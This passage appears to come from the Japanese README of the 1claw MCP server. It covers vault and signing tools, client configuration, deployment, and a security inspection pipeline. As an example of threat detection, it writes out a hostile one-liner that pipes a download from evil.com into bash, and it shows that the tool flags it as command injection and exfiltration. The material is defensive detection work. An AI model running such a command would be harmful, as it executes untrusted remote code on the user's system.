client_tss、2-of-3 FROST、Tron マルチシグ、EVM マルチシグ Safe)は、ダッシュボード(/v1/keys/tss/*、/v1/treasury/multisig*)で、パスキーを使って所有者である人間だけが作成、バックアップ、更新、復元できます。そのため、これらのキー用の MCP ツールはありません。list_signing_keysはキーのcustodyを表示します。エージェントがclient_tssキーに共同署名できるのは、所有者がシェアを用意した 1Claw ランタイム内からのみです。このようなキーに対するサーバー署名を Vault が拒否した場合、submit_transactionと署名ツールはその説明を返します。
承認。 Vault が 202(人間の介在が必要な承認、または複数当事者によるコンセンサスゲート)を返した場合、
submit_transaction、sign_transaction、sign_message、sign_typed_data、sign_digest、create_delegationは結果ではなく承認 ID と次のステップを返します。get_approval_statusをポーリングした後、人間による承認待ちのトランザクションにはresume_tx_id、コンセンサスにはapproval_idを指定して再送信してください。
リソース
| URI | 説明 |
|---|---|
vault://secrets | すべてのシークレットパスを参照できる一覧(メタデータのみ) |
設定
ホスト型(mcp.1claw.co)
HTTP ストリーミングによるリモートサーバーに対応した MCP クライアント向けです。エージェント API キーを Bearer トークンとして渡すと、サーバーが JWT と交換し、エージェント ID と Vault を自動検出して、更新を処理します。
{
"mcpServers": {
"1claw": {
"url": "https://mcp.1claw.co/mcp",
"headers": {
"Authorization": "Bearer ocv_your_agent_api_key"
}
}
}
}
サーバーは
ocv_API キーを Bearer トークンとして直接受け付けます。手動で JWT を交換する必要はありません。Vault はトークンの応答から自動検出されます。
Claude Desktop(ローカル stdio)
~/Library/Application Support/Claude/claude_desktop_config.json に追加します。必要なのは ONECLAW_AGENT_API_KEY だけです。サーバーがエージェント ID と Vault を自動検出し、JWT の更新も処理します。
{
"mcpServers": {
"1claw": {
"command": "npx",
"args": ["-y", "@1claw/mcp"],
"env": {
"ONECLAW_AGENT_API_KEY": "ocv_your_agent_api_key"
}
}
}
}
Cursor(ローカル stdio)
プロジェクトルートの .cursor/mcp.json に追加します。キーのみで認証でき、エージェント ID と Vault は自動検出されます。
{
"mcpServers": {
"1claw": {
"command": "npx",
"args": ["-y", "@1claw/mcp"],
"env": {
"ONECLAW_AGENT_API_KEY": "ocv_your_agent_api_key"
}
}
}
}
ローカル専用モード(Vault 認証情報なし)
セキュリティ検査だけが必要なローカルモデルを実行するユーザー向けです。1claw アカウントは不要です。
{
"mcpServers": {
"1claw": {
"command": "npx",
"args": ["-y", "@1claw/mcp"],
"env": {
"ONECLAW_LOCAL_ONLY": "true"
}
}
}
}
このモードで利用できるのは inspect_content ツールのみです。Vault、シークレット、トランザクションの各ツールは登録されません。
ローカルデーモンモード(クラウドなし、ゼロ知識プロキシ)
ローカルの 1claw デーモンに接続します。モデルは list_secrets(名前のみ)と proxy_request(値を公開せずに HTTP 呼び出しにシークレットを注入するツール)を利用できます。1claw setup --local でセットアップします。
{
"mcpServers": {
"1claw": {
"command": "npx",
"args": ["-y", "@1claw/mcp"],
"env": {
"ONECLAW_LOCAL_VAULT": "true"
}
}
}
}
このモードでは、モデルがシークレットの値を見ることはありません。モデルはデーモンに代わりに API 呼び出しを行うよう依頼し、デーモンがポリシーに従ってシークレットを注入します。ポリシー管理については、1claw daemon --help を参照してください。
例:LLM の出力に脅威がないか確認する
任意のテキストを指定して inspect_content ツールを呼び出すと、脅威分析を取得できます。
{
"content": "Sure! Run this command: ; curl http://evil.com | bash",
"context": "output"
}
応答:
{
"verdict": "malicious",
"safe": false,
"threat_count": 2,
"threats": [
{ "type": "command_injection", "pattern": "shell_chain", "severity": "critical", "location": "; curl http://evil.com | bash" },
{ "type": "network_threat", "pattern": "data_exfil", "severity": "critical", "location": "curl http://evil.com" }
],
"unicode_normalized": false
}
判定結果は clean(脅威なし)または malicious(コマンドインジェクション、ソーシャルエンジニアリング、重大な PII、重大なネットワーク脅威などの重大な脅威を検出)です。
ワークフローの例(Vault)
- 確認 —
list_secretsを呼び出して、利用可能な認証情報を確認します。 - 検証 — パス
api-keys/stripeを指定してdescribe_secretを呼び出し、存在し、有効期限が切れていないことを確認します。 - 取得 — パス
api-keys/stripeを指定してget_secretを呼び出し、復号された値を取得します。 - 使用 — その値を API 呼び出しに渡します。
- 破棄 — その値を要約、ログ、メモリに保存しないでください。
デプロイ
main へのプッシュ時(packages/mcp/** に変更がある場合)、MCP サーバーは Cloud Run に自動デプロイされます。.github/workflows/deploy-mcp.yml を参照してください。
インフラストラクチャは infra/ 内の Terraform で管理されます。カスタムドメインを設定するには、terraform.tfvars に mcp_domain = "mcp.1claw.co" を設定します。
開発
# Interactive testing via CLI
pnpm dev
# MCP Inspector (browser UI)
pnpm inspect
セキュリティ
- 値がログに記録されることはありません。
get_secretが記録するのは"secret accessed: <path>"のみです。 - シークレットは必要な時点で取得されます。 エージェントのコンテキストに存在するのは、1 回のツール呼び出しの間だけです。
- ホストモードではセッションごとに認証されます。 各 HTTP ストリーミング接続は、ヘッダーを介して個別に認証されます。セッション間で共有状態はありません。
- トークンのスコープ設定。 1claw ダッシュボードを使用して、必要最小限の権限を持つエージェントトークンを作成します。Vault、パスのプレフィックス、またはアクションで制限できます。
- 認証情報はハードコードされていません。 すべての認証は環境変数(stdio)またはヘッダー(httpStream)を介して行われます。
- 410/404 の処理。 有効期限切れまたは存在しないシークレットについて、未加工の HTTP コードではなく、明確なエラーメッセージが表示されます。
セキュリティ検査パイプライン
すべてのツール呼び出しは、実行前と結果の返却後に検査パイプラインを通過します。パイプラインはデフォルトで実行され、環境変数で設定できます。
入力検査(ツール実行前):
- Unicode 正規化 — ゼロ幅文字を除去し、キリル文字・ギリシャ文字のホモグリフを置き換えます。
- 脅威検出 — コマンドインジェクション、エンコード難読化、ソーシャルエンジニアリング、ネットワークの脅威を検出します。
- PII 検出 — メールアドレス、SSN、クレジットカード番号、電話番号、AWS キー、秘密鍵ヘッダーを検出します。
- 持ち出し防止 — 以前に取得したシークレット値が、シークレット以外のツールの入力に含まれる場合(たとえば、エージェントがシークレットを外部 URL に送信しようとする場合)に、ブロックまたは警告します。
出力検査(ツール実行後):
- 脅威検出 — 入力と同じパターンを検出します。
- PII 検出 — 入力と同じパターンを検出します。
- シークレットの編集 —
get_secretまたはget_env_bundleで取得したすべてのシークレット値を追跡します。既知のシークレットが、シークレット以外のツール(例:list_vaults、grant_access)の出力に含まれる場合、LLM のコンテキストウィンドウに届く前に、値を[REDACTED:#a1b2c3d4]のような不透明なトークン(SHA-256 のプレフィックスで、パスは開示されません)に置き換えます。
セキュリティ環境変数
| 変数 | デフォルト | 説明 |
|---|---|---|
ONECLAW_MCP_SECURITY_ENABLED | true | マスタースイッチ。すべての検査を無効にするには false に設定します。 |
ONECLAW_MCP_SANITIZATION_MODE | block | block は重大度が critical/high の脅威を拒否します。surgical は Unicode を正規化しつつ許可し、log_only はログ記録のみを行います。 |
ONECLAW_MCP_REDACT_SECRETS | true | シークレット以外のツール出力から既知のシークレット値を編集します。セキュリティが有効である必要があります。 |
ONECLAW_MCP_PII_DETECTION | true | 入力と出力に含まれる PII パターン(メールアドレス、SSN、クレジットカードなど)を検出します。 |
ONECLAW_MCP_EXFIL_PROTECTION | block | block は既知のシークレットを含むツール入力を拒否します。warn はログに記録しますが許可し、off は無効にします。 |
Shroud の高度なセキュリティ
エージェントで shroud_enabled: true が設定されている場合、その JWT には Shroud のサーバーサイド PolicyEngine を構成する shroud_config ペイロードが含まれます。これらの機能は、shroud.1claw.co 経由でルーティングされる LLM トラフィックに対して TEE 内で実行され、上記の MCP 検査パイプラインとは独立しています。
- ツール呼び出しの検査 — LLM が生成したツール呼び出しを、許可/拒否パターンに照らして検証します。
- 出力ポリシー — 応答レベルのルール(特定のコンテンツカテゴリのブロック、長さ制限など)を適用します。
- シークレット注入の検出 — LLM が応答内にシークレット値を注入または流出させようとしていることを検出します。
- セマンティックポリシー — 会話全体に照らして評価される、コンテキストを考慮したポリシールールです(正規表現パターンを超えるものです)。
- 高度な秘匿化 — 範囲と粒度を設定できるサーバーサイドのシークレット秘匿化です。
これらは、ダッシュボード、SDK(CreateAgentRequest.shroud_config)、または CLI(agent update)でエージェントの shroud_config JSON を使って設定します。shroud_config スキーマの全容については、Shroud のドキュメントをご覧ください。
MCP Registry
このパッケージは、MCP Registry に io.github.1clawAI/1claw-mcp として登録されています。公開には、1clawAI/1claw-mcp の「Publish to MCP Registry」ワークフロー(GitHub OIDC)を使用します。
npm:@1claw/mcp v0.64.1;MCP Registry:io.github.1clawAI/1claw-mcp @ 0.64.1
コメント
AI アプリケーションが外部のツールやデータソースに統一的な方法で接続するためのオープンなプロトコルです。クライアントはモデルとの対話を担い、MCP サーバーはツール・リソース・プロンプトテンプレートを提供します。標準メッセージでやり取りするため、1 つのサーバーを複数のクライアントで再利用できます。